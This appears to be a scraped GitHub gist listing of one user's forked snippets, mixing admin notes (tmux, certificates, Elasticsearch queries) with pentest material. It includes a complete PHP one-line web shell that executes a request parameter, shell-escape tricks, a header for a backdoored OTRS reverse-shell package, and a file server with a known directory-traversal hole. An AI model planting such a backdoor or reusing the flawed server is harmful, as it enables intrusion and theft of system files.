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Kevin Kirsche kkirsche

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@kkirsche
kkirsche / tmux.md
Last active August 29, 2015 14:11 — forked from andreyvit/tmux.md

tmux cheat sheet

(C-x means ctrl+x, M-x means alt+x)

Prefix key

The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:

remap prefix to Control + a

@kkirsche
kkirsche / DSL Examples
Last active August 29, 2015 14:19 — forked from egaumer/DSL Examples
# simple match all query with term facet
ejs.Request()
.indices("myindex")
.types("mytype")
.query(ejs.MatchAllQuery())
.facet(
ejs.TermsFacet('url')
.field('url')
.size(20))
@kkirsche
kkirsche / syn-poc.rb
Last active August 29, 2015 14:23 — forked from KINGSABRI/syn-poc.rb
#!/usr/bin/env ruby
# Full Contol on Ethnet, IP & TCP headers. Play with it ;)
# to test it: nc -lvp 4444
# as root: tcpdump -nvvvv 'tcp port 4444' -i wlan0 # change wlan0 to your interface
# or use packetfu to monitor as tcpdump
## cap = PacketFu::Capture.new(:iface => 'wlan0' , :promisc=> true)
## cap.show_live(:filter => 'tcp and port 4444')
# libpcap should be installed
# gem install pcaprub packetfu
@kkirsche
kkirsche / fileserver.py
Created July 18, 2016 15:49 — forked from vgel/fileserver.py
A very basic HTTP file server in 13 lines of python. Assumes all requests are GETs, and it vulnerable to directory traversal (Run it in ~ and localhost:8080/../../ will ls root), so don't use it online. Will correctly list files in directories.
import sys, os, socket
s = socket.socket()
s.bind((sys.argv[1], int(sys.argv[2])))
s.listen(5)
try:
while True:
conn, addr = s.accept()
path = os.path.join(os.getcwd(), "./"+conn.recv(4096).split("\n")[0].split(" ")[1])
conn.send((open(path).read() if os.path.isfile(path) else reduce(lambda x,s:x+"\n"+s+("/" if os.path.isdir(s) else ""),sorted(os.listdir(path)),"Directory "+path+" ls")) if os.path.exists(path) else '404: '+path)
conn.close()
@kkirsche
kkirsche / ssl_puma.sh
Created July 22, 2016 12:46 — forked from tadast/ssl_puma.sh
localhost SSL with puma
# 1) Create your private key (any password will do, we remove it below)
$ cd ~/.ssh
$ openssl genrsa -des3 -out server.orig.key 2048
# 2) Remove the password
$ openssl rsa -in server.orig.key -out server.key
@kkirsche
kkirsche / add CA cert on CentOS.md
Created August 2, 2017 20:00 — forked from kekru/add CA cert on CentOS Debian Ubuntu.md
Add CA cert to local trust store on CentOS or Debian
  • Open a webpage that uses the CA with Firefox
  • Click the lock-icon in the addressbar -> show information -> show certificate
  • the certificate viewer will open
  • click details and choose the certificate of the certificate-chain, you want to import to CentOS
  • click "Export..." and save it as .crt file
  • Copy the .crt file to /etc/pki/ca-trust/source/anchors on your CentOS machine
  • run update-ca-trust extract
  • test it with wget https://thewebsite.org
@kkirsche
kkirsche / tricks
Created November 10, 2017 14:58 — forked from sckalath/tricks
tricks
#get a pty through python
python -c 'import pty; pty.spawn("/bin/bash");'
#grab the user agent from the http header on port 10443
tcpdump -A -l -vvvs 1024 -npi eth0 port 10443
#base64 decode a string
echo STRINGTODECODE | base64 --decode
#escape jail shell
@kkirsche
kkirsche / MyPackage.opm
Created November 15, 2017 13:11 — forked from mgeeky/MyPackage.opm
OTRS OPM backdoored Package with Reverse Shell
<?xml version="1.0" encoding="utf-8" ?>
<otrs_package version="1.1">
<Name>MyModule</Name>
<Version>1.0.0</Version>
<Vendor>My Module</Vendor>
<URL>http://otrs.org/</URL>
<License>GNU GENERAL PUBLIC LICENSE Version 2, June 1991</License>
<ChangeLog Version="1.0.1" Date="2006-11-11 11:11:11">My Module.</ChangeLog>
<Description Lang="en">MyModule</Description>
<Framework>5.x.x</Framework>
@kkirsche
kkirsche / Simple-Backdoor-One-Liner.php
Created November 22, 2017 03:26 — forked from sente/Simple-Backdoor-One-Liner.php
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@kkirsche
kkirsche / dumprequest.php
Created March 6, 2018 19:34 — forked from magnetikonline/dumprequest.php
PHP script to dump full HTTP request to file (method, HTTP headers and body).
<?php
// https://gist.github.com/magnetikonline/650e30e485c0f91f2f40
class DumpHTTPRequestToFile {
public function execute($targetFile) {
$data = sprintf(
"%s %s %s\n\nHTTP headers:\n",
$_SERVER['REQUEST_METHOD'],